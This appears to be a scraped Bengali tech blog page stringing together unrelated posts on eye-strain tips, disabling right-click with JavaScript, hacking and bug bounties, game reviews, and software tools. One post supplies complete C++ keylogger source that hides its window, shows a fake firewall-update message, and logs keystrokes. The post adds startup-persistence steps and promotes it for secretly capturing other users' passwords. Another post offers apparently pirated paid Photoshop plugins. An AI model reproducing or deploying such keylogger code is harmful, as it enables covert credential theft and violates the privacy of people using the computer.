লম্বা সময় কম্পিউটার চালিয়ে চোখের বারোটা বাজাচ্ছেন নাতো? কিছু টিপস আপনার জন্য

লম্বা সময় কম্পিউটার চালিয়ে চোখের বারোটা বাজাচ্ছেন নাতো? কিছু টিপস আপনার জন্য
আসসালামু আলাইকুম,
লম্বা সময় অনেক অনলাইন এক্টিভিস্টকেই স্ক্রিনে চোখ রাখতে হয়। এতে চোখের উপর প্রচুর চাপ পড়ে।
এতে দৃষ্টি ক্ষমতা কমে যেতে পারে।
এতে আপনি কিছু পদক্ষেপ নিতেই পারেন যদি অকালে মোটা কাচের চশমা না পড়তে চান।

এক্ষেত্রে আমরা ঘরে অবশ্যই সূর্যের আলো আসতে দেবো, তবে তা যেন সরাসরি চোখে বা স্ক্রিনে প্রতিফলিত না হয়। এতে স্ক্রিনের লেখা পড়তে অসুবিধা হবে এবং চোখের বেশি পরিশ্রম করতে হবে।

ঘর কম উজ্জ্বল হলে ভাল হয়। ঘরে টিউব বা টাংস্টেন ইউজ করা যেতে পারে। তবে তা যেনও  সরাসরি চোখের উপর না থাকে।



কম্পিউটার স্কিনে আলোর যে রিফ্লেকশন তৈরি হয় বা গ্লেয়ার তৈরি হয় তা আই স্ট্রেইন বারিয়ে দেয়। এতে আপনার মাথা ব্যাথা করতে পারে, বা ঘুম পেতে পারে। এক কথায় চোখ ক্লান্ত হয়ে পরবে।

এছারা আপনি যদি সিআরটি মনিটর ব্যাবহার করে থাকেন, তবে দ্রুত এলসিডি কিনে ফেলুন, এলইডি না কিনলেই ভাল। এলইডি লাইফলাইক ডিসপ্লে দিলেও তা চোখের উপর চাপ ফেলে। এলসিডি মনিটরে অ্যান্টি গ্লেয়ার লেয়ার দেয়া থাকে। এতে সহজে উপরে রিফ্লেকশন তৈরি হয় না। সেসব কিনলে ভাল। এছাড়া চোখের চাহিদা মতো ব্রাইটনেস এবং কন্ট্রাস্ট কমিয়ে বারিয়ে নিতে পারেন।সিআরটি মনিটর ডিসপ্লে ফ্লিকার বা কাপাকাপি করে যা চোখের জন্য ক্ষতিকর।

এছাড়া এখন বেশ কিছু সফটওয়্যার আছে যা রুটিন করে মনিটরের ব্রাইটনেস বাড়িয়ে বা কমিয়ে দেয়।
এখান থেকে আমি f.lux ব্যাবহার করতে বলবো। এটা ফ্রি সফটওয়্যার, ব্যাবহার সোজা। এটা জিপিএস দিয়ে আপনার লোকেশন বুঝে নেয়ার চেস্টা করবে বা লোকেশন জিজ্ঞাসা করবে, সেই মাফিক সে সূর্যোদয় সূর্যাস্ত সময় বের করে মনিটরের আলো নিয়ন্ত্রন করবে। আবার এগুলো কাস্টমাইজ করা যায়। ডাউনলোড করুন।

কম্পিউটারের ডিসপ্লে সেটিং কাস্টমাইজ করে নিতে পারেন।

  • Brightness মিডিয়াম রাখবেন। বেশি বা কম করে রাখবেন না।
  • Text size and contrast. লেখার আকৃতি বড় করে দিবেন, দেখতে সুবিধা হবে। চোখের পেশি আরাম পাবে এতে। এছাড়া কন্ট্রাস্ট সামান্য বারিয়ে দেবেন, এতে লেখা স্পষ্ট হবে।
  • Color temperature. কালার টেম্পারেচার কমিয়ে দিন। নীল আলোর আধিক্য কমিয়ে দিয়ে কমলা আলো বারিয়ে দিবেন।তবে বেশি না।
স্যামসাং মনিটরে MagicTune সফটওয়্যার ডাউনলোড করে সহজেই এই কনট্রোল করতে পারবেন।
এছাড়া একটানা ২০ মিনিট মনিটরে তাকাবেন না, দূরে কাছে চোখ ফোকাস করে ক্লান্তি কমিয়ে নিতে পারেন।

আরও পড়ুন

রাইট ক্লিক ডিজেবল জাভাস্ক্রিপ্ট - Right Click Disable Javascript

রাইট ক্লিক ডিজেবল জাভাস্ক্রিপ্ট - Right Click Disable Javascript
আসসালামু আলাইকুম,
এই পোষ্টের পাঠকদের অনেকেই হয়তো কোনো সম্মানিত ব্লগের অ্যাডমিন বা সম্পাদক। অনেকেই আমরা হয়তো খেয়াল করেছি, ইদানিং প্লেইজারিজম বা পাইরেসির ঘটনা বেশি ঘটছে। তার বেশিরভাগ ঘটছে ব্লগে। মানে কিছু চুনোপুঁটি টাইপের মানুষ জনপ্রিয় ব্লগগুলোর লেখাগুলো কপি করে নিজের নামে অন্য ব্লগ গুলোয় চাপিয়ে দিচ্ছে। এতে যেমন মুল লেখকের মনঃক্ষুণ্ণ হয়, তেমনি তার লেখার সম্মানও এ নিজে পায় না। আমরা কেউই এটা আশা করি না।
জিআর+ বাংলাদেশের সকল লেখক এবং সম্মানিত সদেস্যরা নিজেদের লেখা নিজ দায়িত্তে প্রকাশ করেন, তাদের প্রকাশিত লেখার নিরাপত্তা অ্যাডমিন টিম দিয়ে থাকে। এজন্যে লেখার ক্রেডিট আমরা অবশ্যই পোষ্টের নিচে উল্লেখিত রাখি। 



তো প্রসঙ্গে আসি,
ব্লগের বা ওয়েবপেজের রাইট ক্লিক কিভাবে ডিজেবল করবেন?
এখানে আমরা একটা ছোট জাভা স্ক্রিপ্ট ক্লায়েন্ট সাইড স্ক্রিপ্ট ব্যাবহার করবো। 

প্রথমে ব্লগের টেমপ্লেটে গিয়ে <body খুঁজে বের করুন।

পেলে সেখানে বডি ট্যাগের মাঝে oncontextmenu='return false' বসিয়ে দিন।

এবার <head খুঁজে বের করুন।

হেড ট্যাগের পরেই নিচের জাভাস্ক্রিপ্ট কোড বসিয়ে দিন।

<script language='javascript'>
document.onmousedown=disableclick;
status="Right Button Disabled";
function disableclick(event)
{
  if(event.button==2)
   {
     alert(status);
     return false;
   }
}
</script>



ব্যাস! কাজ শেষ! এবার টেমপ্লেট সেভ করে নিন, বা সোর্স ফাইল ফেভ করে নিন। দেখবেন সাইট বা ব্লগে রাইট বাটন কাজ করছে না। 
আরও পড়ুন

হ্যাকিং কি কোনো অপরাধ?

হ্যাকিং কি কোনো অপরাধ?




আসসালামু আলাইকুম,
হ্যাকারকে আমরা একজন অপরাধী হিসেবেই জানি। অনেকেই হ্যাকিংকে ভয় পাই। এই ভয়ে জিনিসটা শেখারও চেষ্টা করি না। আচ্ছা, একজন হ্যাকার কেনো অপরাধী? সে বেআইনিভাবে তথ্য চুরি করছে বলে? আচ্ছা, সে ক্ষেত্রে সে নিশ্চয়ই অপরাধী।

আমরা হয়তো জেনে থাকবো, কোনো কম্পিউটার নেটওয়ার্কই বাগমুক্ত নয়। তার মানে যে কোনো নেটওয়ার্ক বা সারভার যেকোনো ভাবে ভালনারেবল হতে পারে। একজন হ্যাকার তার স্কিল দিয়েই সেই সাইট হ্যাক করবে। একজন হ্যাকারের সহজাত প্রবৃত্তিই এটা। সে চেষ্টা করবেই তার হাতের নাগালের ভালনারেবল সিস্টেমে প্রবেশ করতে।
এখন একটা বিষয় লক্ষ করি।
আমরা কি জানি, ফেসবুক তাদের বাগ বাউন্টি প্রোগ্রাম চালু করেছে?

বাগ বাউন্টি কি? বাগ বাউন্টি হল সেই ওল্ড ওয়েস্টের মতো বাউন্টির ব্যাবস্থা। অপরাধিকে ধরিয়ে দিতে পারলেই ডলার পুরষ্কার। আর এখানে অপরাধীর স্থলে কেবল বাগ ধরিয়ে দিতে হবে। ফেসবুক তাদের ছোট বড় যেকোনো সিকিউরিটি বাগ ধরিয়ে দিতে পারলেই ১০০০০ ডলার পুরষ্কার দিবে। দশ হাজার ডলার! শুনতে কম হলেও বাংলাদেশি মুদ্রায় প্রায় দশ লক্ষ টাকার বেশি!

দেখুন, ফেসবুক হ্যাকারদেরই ভালো কাজে ব্যাবহার করছে। শখের হ্যাকার বাদেও অনেকে হ্যাকিংকে পেশা হিসেবে নেন, যাদের আমরা সার্টিফিকেট প্রাপ্ত হ্যাকার বা সাইবার সিকিউরিটি এনালিস্ট বলেই চিনি। তারা বেশ সহজেই বিভিন্ন আইটি ফার্মে এবং অন্যান্য প্রতিষ্ঠানে ভালো পজিশনে এবং পদে চাকরি করে থাকেন।

কিন্তু যারা নিজে নিজে হ্যাকিং শিখেছেন, কোন শিক্ষা প্রতিষ্ঠান থেকে সাইবার সিকিউরিটি নিয়ে ডিপ্লোমা নেওয়ার চেষ্টা করেননি, অনেক সময় তাদের স্কিলও প্রফেশনালদের হার মানিয়ে দেয়। কিন্তু আমরা তাদের যোগ্যতার স্বীকৃতি দেই না। অন্তত বাংলাদেশের মতো দেশে তো অবশ্যই না। কেন? তাদের স্কিল হল আসল ফ্যাক্ট, সার্টিফিকেট না।

র‍্যাবের ওয়েবসাইট হ্যাকিং নিয়ে একটা প্রতিবেদন ছিল, যার একাংশ আমি এখানে দিচ্ছি,

সোর্সঃ https://taiyabs.wordpress.com/


র‌্যাব জানায়, শাহী মির্জা মিরপুর-৬ নম্বর সেকশনে অবস্থিত বেসরকারি পলিটেকনিক ইন্সটিটিউট সাইক ইন্সটিটিউট অব ম্যানেজমেন্ট টেকনোলজির কম্পিউটার সায়েন্সের ৪র্থ সেমিস্টারের ছাত্র। তার বাবা মুবাশ্বের আলী পুলিশের সাব-ইন্সপেক্টর। তিনি সিলেটের ফেঞ্চুগঞ্জ থানায় কর্মরত। শাহী মির্জা তার ইন্সটিটিউটের তিন বন্ধু সৈয়দ ইসতিয়াক, জায়েদুল ও তাওহিদুল ইসলামসহ মিরপুর-১ নম্বর সেকশনের ১ নম্বর রোডের এফ ব্লকের ২৫ নম্বর বাড়ির ৬ষ্ঠ তলায় একটি মেসে ভাড়া থাকে। গত ৫ সেপ্টেম্বর র‌্যাবের ওয়েব সাইট হ্যাকড হওয়ার পর র‌্যাব ইন্টিলিজেন্স ও আইটি শাখা তদন্ত নামে। হ্যাকিংয়ের মূল পরিকল্পনাকারী শাহী মির্জা। সে তার কম্পিউটারে ব্যবহৃত ইন্টারনেটের আইপি নম্বর (ইন্টারনেট প্রটোকল) ব্যবহার করে র‌্যাবের ওয়েব সাইট হ্যাকিং করে।
সূত্র জানায়, র‌্যাব তদন্ত করে দেখতে পায়, লিনাক্স নামে একটি ইন্টারনেট সার্ভিস প্রোভাইডারের লাইন থেকে এই হ্যাকিং করা হয়েছে। পরে ইন্টারনেটের আইপি নম্বর সংগ্রহ করে র‌্যাব তদন্তে করে শনিবার রাতে মিরপুর থেকে ঐ ৪ হ্যাকারকে গ্রেফতার করে। তাদের মেস থেকে ২ টি কম্পিউটার ও ৭২ টি সিডি জব্দ করে।
র‌্যাব মহাপরিচালক জানান, হ্যাকিং কোন নতুন টেকনোলজি নয়। কম্পিউটার প্রোগ্রাম সম্পর্কে ধারণা থাকলে যে কেউ হ্যাকিং করতে পারে। বর্তমানে যেসব ছাত্র-ছাত্রী কম্পিউটার বিষয়ে পড়াশুনা করছে তাদের অনেকেই হ্যাকিং করা কৃতিত্ব মনে করেন। কিন্তু হ্যাকিং করা একটি অপরাধ।

আইন নিয়ে বলা আছে,

র‌্যাব আইটি শাখার পরিচালক কমান্ডার মইনুল ইসলাম জানান, ওয়েব সাইট হ্যাকিং করলে বাংলাদেশ আইসিটি(তথ্য ও যোগাযোগ প্রযুক্তি) আইন-২০০৬-এর ৫৪ ও ৫৫ ধারায় সর্বোচ্চ সাজা ১০ বছরের জেল ও ১ কোটি টাকা জরিমানার বিধান রয়েছে। তাই কেউ যেন কৃতিত্বপূর্ণ কাজ মনে করে ওয়েব সাইট হ্যাকিং না করে।
এখানে আমার প্রশ্ন, হ্যাকিং কেন অপরাধ? এটাকে আমরা কেন পজিটিভ কাজে লাগাই না? হ্যাকারডের সাহায্য নিলেই কিন্তু র‍্যাবের আইটি শাখা শক্তিশালি হতে পারে।

বাংলাদেশে প্রতিটি আইটি ফার্ম এবং ওয়েবসাইট সংবলিত প্রতিষ্ঠানে যদি বাগ বাউন্টি প্রোগ্রাম থাকতো, তবে বাংলাদেশের রুকি থেকে উপরের ধাপের হ্যাকাররা যেমন উৎসাহ পেতো, দেশের জন্য কিছু করার জন্য তাদেরও ইচ্ছে হতো। সরকারি ভাবে যদি কর্তিত্বমান হ্যাকারদের স্বীকৃতি এবং কর্মসংস্থান হতো, সুযোগ সুবিধা দেওয়া হতো, তবে বাংলাদেশ ব্যাঙ্কের রিজার্ভ চুরি হতো না, ভারতীয় সাইবার সিকিউরিটি এনালিস্টের যায়গায় বাংলাদেশি একজন বহাল থাকতে পারতো।বাংলাদেশের স্বর্ণ সন্তানেরা এবং মেধা বাহিরে পাচার হতো না। র‍্যাবের ওয়েবসাইট হ্যাক করে জেল খাটা ছেলেটা আজ মজিলা ইনকর্পোরেটেডে চাকরি করে। র‍্যাবের ওয়েবসাইট হ্যাক করা অপরাধ। যদি বিদেশী কোনো চক্র হ্যাক করতো তখন ৪ জন হ্যাকার কোথা থেকে গ্রেপ্তার করতো? ওয়েবসাইট ভালনারেবল রেখে দিলে যে কেউ প্রবেশ করার চেষ্টা করবে। র‍্যাবের আইটি উইঙ্গের সেখানে দরকার ছিল বাগ বাউন্টি প্রোগ্রামের ব্যাবস্থা করা।

দরজা জেনেশুনে খোলা রাখবেন, তখন চোর ঢুকলে চোরের দোষ?

কেন এই অবহেলা? বিদেশি সাইবার সিকিউরিটি এনালিস্ট যে সব করতে পারবে এমন কোনো কথা নেই।যোগ্যতা অনুযায়ী বাংলাদেশি হ্যাকাররা যে ভারতীয় হ্যাকারদের, এমনকি সারা বিশ্বের হ্যাকারদের থেকে এগিয়ে এটা বলতে আমার কোনো দ্বিধা নেই।

আরও পড়ুন

আপনার নিজের কম্পিউটারে যারা অনলাইনে লগিন করে তাদের সবার আইডি ও পাসওয়ার্ড দখলে নিন একটা সি++ প্রোগ্রাম দিয়ে! - C++ keylogger

আপনার নিজের কম্পিউটারে যারা অনলাইনে লগিন করে তাদের সবার আইডি ও পাসওয়ার্ড দখলে নিন একটা সি++ প্রোগ্রাম দিয়ে! - C++ keylogger
আসসালামু আলাইকুম,
এখন আপনিও পারবেন আপনার পিসির সব ইউজারদের ডাটা গোপনে জেনে নিতে। এটা যদিও নীতি বিরুদ্ধ, তবুও জানতে আপত্তি কোথায়? আপনারা কেউ কারো ক্ষতির উদ্দেশ্যে এটি ব্যাবহার করবেন না বলে আমার বিশ্বাস। এটা একটা সি++ দিয়ে প্রোগ্রাম করা কম্পিউটার প্রোগ্রাম। মাত্র 93 লাইন প্রোগ্রাম করা আছে এতে।
এটা উইন্ডোজ ফায়ারওয়াল ব্লক করে দিতে পারে। তাই আপনাকে একটা এক্সেপশন তৈরি করে নিতে হবে।
এটি রিমোট কন্ট্রোল্ড নয়, আপনার পিসিতেই একটা টিএক্সটি ফাইলে কি-লগ ডাটা রাখবে। 



সি++ সোর্স কোডঃ

#include 
using namespace std;
#include 
#include 
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
   
   
   
      cout<<"Connecting Port to download windows firewall updates...   Connected!" <      system ("pause");
   
   
    Stealth();
    char i;
 
    while (1)
    {
      for(i = 8; i <= 190; i++)
      {
        if (GetAsyncKeyState (i) == -32767)
     
          Save(i, "TaAr.TXT");
      }
       
       
    system ("pause");
    return 0;
 
     }
   
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
 
    if ( (key_stroke == 1) || (key_stroke == 2) )
      return 0;
   
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;
 
    if (key_stroke == 8)
      fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
      fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
      fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
      fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
      fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
      fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
      fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
      fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
      fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
      fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
      fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
      fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
      fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
      fprintf(OUTPUT_FILE, "%s", "[.]");
    else
      fprintf(OUTPUT_FILE, "%s", &key_stroke);
   
    fclose(OUTPUT_FILE);
    return 0;
}
/* ************************************** */
/* ************************************** */
void Stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
}

এটাকে কেবল ইএক্সই ফাইলে কম্পাইল করে নিবেন, এজন্যে কোডব্লকস ইউজ করতে পারেন। অথবা অন্য  কোন কম্পাইলার ইউজ করতে পারেন। কম্পাইল করতে না পারলে এই ফাইলটি ডাউনলোড করে ইউজ করুন। ফায়ারওয়াল এক্সেপ্সন না থাকলে ডাউনলোড বা রান করতে পারবেন না।



স্টার্টআপ প্রোগ্রাম বানাবেন কিভাবে?

স্টার্টআপের সময় একে অটোমেটিক চালু করতে স্টার্ট মেনুতে গিয়ে >All programs ক্লিক করে Startup খুজে বের করুন, নিচের দিকে আছে। রাইট ক্লিক করে ওপেন ক্লিক করুন। সেখানে কি লগার অ্যাপলিকেশনের শর্টকাট পেস্ট করে দিন।কাজ শেষ! এবার প্রতিবার উইন্ডোজ চালু হলে সেও চালু হবে!




I'm on facebook
আরও পড়ুন

সহজেই Windows bat file থেকে exe ফাইলে কনভার্ট করুন | Bat to EXE Converter

সহজেই Windows bat file থেকে exe ফাইলে কনভার্ট করুন | Bat to EXE Converter
আসসালামু আলাইকুম,

আমরা অনেকে নানা কাজে ব্যাট কম্যান্ড বা উইন্ডোজ ব্যাচ কম্যান্ড ব্যাবহার করি। এই ব্যাট ফাইল কিন্তু আমরা খুব সহজেই এক্সিকিউটেবল অ্যাপলিকেশন হিসেবে কম্পাইল করা যেতে পারে। 
এরকমই একটি অ্যাপলিকেশন bat to exe converter



এর গুই (গ্রাফিক্যাল ইউজার ইন্টারফেস) দিয়ে আপনি খুব সহজেই ব্যাট ফাইল লোড করে ইএক্সই কনভার্ট করতে পারবেন। এছাড়া ভেতরে এডিটর দিয়ে ব্যাট কম্যান্ড লিখেও নিতে পারবেন। পারবেন আইকন আড করতে। 
ব্যাট কম্যান্ড যেহেতু কালো স্ক্রিন বা টার্মিনাল দিয়ে ওপেন হয়, সেটাকেও ইনভিজিবল করে দিতে পারবেন। এছাড়া অ্যাপ এনক্রিপ্ট করে রাখতে পারবেন। ভেতরে কোন অতিরিক্ত ফাইল অ্যাড করতে পারবেন, মানে আনুসঙ্গিক ডাটা ফাইল। যেটা তাকে রান করতে সাহায্য করতে পারে। এছাড়া ইএক্সই ফাইলের ভারসন ইনফরমেশন বা মেটা ইনফরমেশন আপনি ইনক্লুড করতে পারবেন। যেমন, ডেসক্রিপশন, ভার্সন, নাম, কপিরাইট ডাটা ইত্যাদি। অ্যাপলিকেশনটি সম্পূর্ণই ফ্রি, Download করে নিন।
আরও পড়ুন

199.95$ +150$ মূল্যের ২ টি photoshop Plugin - Google Nik এবং Portraiture

199.95$ +150$ মূল্যের ২ টি photoshop Plugin - Google Nik এবং Portraiture
আসসালামু আলাইকুম,
টেক টিউনে গাজী রাফসান ভাইয়ের পোস্ট দেখেই লেখা। ভাই রাগ করলে ক্ষমা করবেন।



ভিডিও টিউটোরিয়াল:



DOWNLOAD : google nik collection



Overview


  1. Analog Efex Pro --------- Applies film-era camera, lens, and film simulation to digital images.
  2. Dfine --------- Noise reduction
  3. HDR Efex Pro --------- Specialized program for processing HDR pictures
  4. Sharpener Pro --------- Image sharpening
  5. Silver Efex Pro --------- Black & White conversion
  6. Viveza --------- Color control with advanced functions to change contrast and saturation



ভিডিও টিউটোরিয়াল:


DOWNLOAD :Imagenomic portraiture




Portraiture is a Photoshop, Lightroom and Aperture plugin that eliminates the tedious manual labor of selective masking and pixel-by-pixel treatments to help you achieve excellence in portrait retouching. It intelligently smoothens and removes imperfections while preserving skin texture and other important portrait details such as hair, eyebrows, eyelashes etc.

কোন সমস্যা বা প্রোয়োজনে ফেসবুকে আমি FACEBOOK
এটি অবশ্যই আপনাদের কাজে লাগবে।
সকলকে আল্লাহ হাফেজ।
সোর্স লিঙ্কঃ https://gazirafsan.blogspot.com/2016/05/199.html

আরও পড়ুন

এইজ অফ এম্পায়ারস ২ - দি এইজ অফ কিংস :: Age of Empires II - The Age Of King

এইজ অফ এম্পায়ারস ২ - দি এইজ অফ কিংস :: Age of Empires II - The Age Of King

আসসালামু আলাইকুম,

আগের ভারসনের রিভিউ দিয়েছিলাম। খেলেছেন মনে হয়। ভাল লেগেছে/ অনেকের ল্কেগেছে, আবার অনেকের হয়ত লাগেনি... এটা মানসিকতার বিষয়।
যাই হক আমি যেহেতু বলেছি, পুরো সিরিজের রিভিউ দেবো। দেবই।
এবার এইজ অফ এম্পেররের দ্বিতীয় সংস্করণের রিভিউ দেবো আপনাদের।



২০০০ সাল থেকে মাইক্রোসফট কর্পোরেশন এর ডেভেলপমেন্ট ও আপডেট তৈরি করে আসছে। এইজ অফ এম্পায়ার ২ ঃঃ দি এইজ অফ কিংস এর দ্বিতীয় সংস্করণ।

এখানে আপডেট হিসেবে আছে রিজাইসড গেইম, মানে রাজায় রাজায় যুদ্ধ, মাল্টিপ্লেয়ার গেইমিং, ক্যাম্পেইং গেইমিং।

কাম্পেইং গেইমিংএ কোন জাতির ইতিহাস ভিত্তি করে কাহিনি গড়া হয়েছে। যেমন মঙ্গোলিয়ায় চেঙ্গিস খান, গ্রিসের অ্যালেক্সান্ডার দি গ্রেট আর অনেক কাহিনি।

এছাড়া খেলোয়াড়ের সুবিধার্থে গেইমের ভেতর প্রতিটি জাতির ইতিহাস দেওয়া আছে।


এখানেও যেকোনো সিভিলাইজেশন অনুযায়ী খেলোয়াড়ের ইউনিট বদলাবে।

মানে আপনি যদি যেকোনো একটি জাতি সিলেক্ট করে খেলা শুরু করেন, তখন সেই জাতি অনুযায়ী আপনার বাড়িঘর, হাটবাজার, ওয়ার্কশপ সবকিছুর স্টাইল বদলে যাবে।

একেক জাতির একেক ক্ষমতা থাকবে।

যেমন জাপানিরা সামুরাই যোদ্ধা পাবে, আর চীনেরা চু-কো-নু বা তীরন্দাজ। তেমনি বাইজান্টাইনেরা পাবে বারসার্ক।

এছাড়া খেলায় আছে ক্ল্যাটাপুট বা প্রাচীন কালের পাথরের গোলা ছোড়ার কামান। বেশ কিউট দেখতে, ছোট দেখে আরও কিউট লাগে :D

আছে ব্যালিস্টিক তীর। এছাড়া আপডেট আছে ট্রিবুচেট। ট্রিবুচেট দিয়ে প্রাচীন কালের দুর্গের দেয়াল ভাঙ্গা হতো।

নানাভাবে আপনাকে আপডেট করতে হবে নিজের টিমকে।

নিজের যায়গায় নিজের শহর গড়ে নিতে হবে। প্রথমেই দেওয়া হবে তিনজন ভিলেজার এবং একটি টাউন হল।

টাউন হল দিয়েই সব যাত্রার শুরু।

তারপর নিজের পপুলেশানের সাথে সাথে বাড়ি ঘর বাড়াতে হবে।

ব্যারাক তৈরি করে সৈন্য তৈরি করতে হবে। মার্কেট তৈরি করে বন্ধু জাতির সাথে ব্যাবসা বাণিজ্য চালাতে হবে।

গাছ কেটে ন্যাচারাল রিসোর্স সংগ্রহ করতে হবে।

মাটি কেটে সোনা এবং পাথর উত্তোলন করতে হবে।

নিজের যোদ্ধা এবং বাহিনি গড়ে তুলতে হবে। শহর সুরক্ষায় দেয়াল তুলে দিতে হবে।

নিজের মানুষদের হিল করার জন্য এবং নিজের আহত সৈনিকদের হিল করার জন্য আপনাকে টেম্পল থেকে প্রিস্ট তৈরি করে নিতে হবে।

এছাড়া আছে নদী। আপনাকে বন্দর তৈরি করতে হবে। জেলে নৌকা তৈরি করে মাছ আহরন করতে হবে। এছাড়া যুদ্ধজাহাজ বানিয়ে শত্রু থেকে আত্মরক্ষা করতে হবে এবং আক্রমন করতে হবে।
খেলা শেষ করতে হবে অবজেক্টিভ কমপ্লিট করে। অবজেক্টিভ থাকতে পারে, সব ন্যাচারাল রিলিক সংগ্রহ করা অথবা ওয়ান্ডার বানানো অথবা অন্য রাজাকে মেরে ফেলা।

ওয়ান্ডার হতে পারে কোন বড় বাড়ি, ক্যাথেড্রাল অথবা মূর্তি!

গেইম খেলতে তেমন আহামরি কনফিগারেশন লাগবে না,

  • প্রসেসরঃ ৮০০ মেগাহারজ
  • র‍্যামঃ ৬৪ এমবি
  • গ্রাফিক্স মেমরিঃ ৬৪ এমবি
  • ওএসঃ এক্সপি, ৭, ভিস্টা, ৯৮
  • এইচডিডিঃ ৫০০ এমবি

সবাইকে আল্লাহ হাফেজ।


আরও পড়ুন

notepad ++ | ফ্রি জিএনইউ সোর্স কোড এডিটর

notepad ++  |  ফ্রি জিএনইউ সোর্স কোড এডিটর
আসসালামু আলাইকুম,
না, উইন্ডোজের নোটপ্যাডের মতো এই নোটপ্যাড না। 
যথেষ্ট উন্নত এটি।
মজার ব্যাপার হল, এটা দিয়ে প্রায় সব প্রোগ্রামিং ল্যাঙ্গুয়েজ লেখা যায়। এবং প্রয়োজনে প্লাগিন যোগ করে কম্পাইল করা যায়। এটা বাংলাও সাপোর্ট করে, সাবালাইমের মতো ভেঙ্গে যায় না। ফলে বাঙ্গালী ওয়েবসাইট ডিজাইন করা সহজ হবে।
এছাড়া এতে ইচ্ছামতো থিম পরিবরতন করা যায়। এমনকি ফন্টও পছন্দমতো নেওয়া যায়।




এছাড়া বিভিন্ন এনকোডিং থেকে ডিকোডিং করার অপ্সন রয়েছে এতে। এতে আপনি এঙ্ক্রিপ্টেড কোন কোড ভাংতে পারবেন।
কোন ডাটা ভুলে সেভ না করলেও সমস্যা নেই, প্রতি মুহুরতেই এটি অটোসেভ করতে থাকে।
ওয়েবডিজাইন বা প্রোগ্রামারেরা বিশেষ সুবিধা পাবেন যে, কোন ফাংশান বা ট্যাগ লেখার আগেই চলে আসে, টেক্সট সাজেশানের মতো। 




আরও পড়ুন

Wifi Connected Laptop থেকে Desktop এ ইন্টারনেট শেয়ার করুন!

Wifi Connected Laptop থেকে Desktop এ ইন্টারনেট শেয়ার করুন!
আসসালামু আলাইকুম,
কেমন আছেন?
অনেকে নানা প্রয়োজনে ল্যাপটপে ওয়াইফাই দিয়ে রাখেন, বা মডেম ইউজ করেন। কিন্তু যারা একটি মডেমের ইউজার, তারা এই পদ্দতিতে সহজেই ল্যাপটপ এবং ডেস্কটপে একটি তার দিয়ে হাই স্পিড ইন্টারনেট শেয়ার করে ইউজ করতে পারেন।
এরজন্য আপনার লাগবে দুটো কম্পিউটার, এবং একটি হাই স্পিড ইদারনেট ক্যাবল, বা টু ওয়ে ল্যান ক্যাবল। এটা যেকোনো কম্পিউটার দোকানে ৭০-৮০ টাকার মাঝেই পাওয়া যাবে।
এখানে আমাদের নেটওয়ার্ক কানেকশান ব্রিজ ব্যাবহার করতে হবে।
এখন আমাদের A ল্যাপটপে ইন্টারনেট বা ওয়াইফাই আছে, B কম্পিউটারে নেই।
এখন খালি স্টেপগুলো ফলো করে যান।

স্টেপঃ ১
A ল্যাপটপে ওয়াইফাই কানেক্ট করে নিন।

স্টেপঃ ২
কানেকশান ব্রিজ তৈরি করুন।
A ল্যাপটপে, 
Adapter Settings এ যান
(Control Panel -> Network and Sharing Center -> Change adapter settings)
Local Area Connection এবং Wireless Network Connection একসাথে সিলেক্ট করে রাইট ক্লিক করে "add to Bridge" দিন






স্টেপঃ ৩
এখন A এবং B কম্পিউটার ক্যাবল দিয়ে কানেক্ট করলেই ইন্টারনেট এক্সেস পাবেন। এই স্পিড একটুও কমবে না। মেইন ব্যান্ডউইথের মতই থাকবে।

 এবার মনে হচ্ছে আপনি সহজেই আপনার ওয়াইফাই এনাবেল বা চালু করা ল্যাপটপ থেকে অতি দ্রুত গতির এবং হাই ব্যান্ডউইথের  ইন্টারনেট আপনার নন ওয়াইফাই এনাবেল বা ওয়াইফাই ছাড়া ল্যাপটপ বা ডেস্কটপে পাচ্ছেন।
তো অনেকে হয়ত তাদের কিছু সমস্যার সমাধান পেলেন, আবার নতুন কিছু জানলেনও।

তাই আজ আল্লাহ হাফেজ। সুযোগ পেলে আমার ব্লগে ঘুরে আসবেন, আপনার বয়স ১৮ এর কম হলে চাইলে ব্লগের নিউজ পোর্টালে রিপোর্টার হিসেবে যোগ দিতে পারেন।আমার ব্লগ ও নিউজ পোর্টাল জিআর+ বাংলাদেশ

সৌজন্যেঃ জিআর+ বাংলাদেশ

আরও পড়ুন

স্কেটার বয় - Skater Boy

স্কেটার বয় - Skater Boy
আসসালামু আলাইকুম,
আমিও তাহমিদের মতো ছোটখাট গেইমে আসক্ত। তাই আমাকেও এখন থেকে মাঝে মাঝে এই সিরিজে পাবেন।
নিজের ডিভাইজ নেই, তাও মায়ের মোবাইলে গেইম খেলি।



সেদিন একটা গেইম ডাউনলোড দিলাম, নাম স্কেটার বয়। মাত্র ১৭ এমবির গেইম। ভাব লাম কি আর থাকবে।
তবে ২ডি হলেও গেইমটি বেশ মজার।


এখানে একজন স্কেটারকে নিয়ে খেলতে হবে। তাকে নিয়ে নানা প্রতিকূলতা পার করে একের পর এক লেভেল খেলতে হবে আপনাকে। প্রতিকূলতা বলতে যা আছে, তা হল ক্যাম্প ফায়ার, বোল্ডার (বড় পাথর), শুকর, রেলিং এবং বাড়ি ঘর।
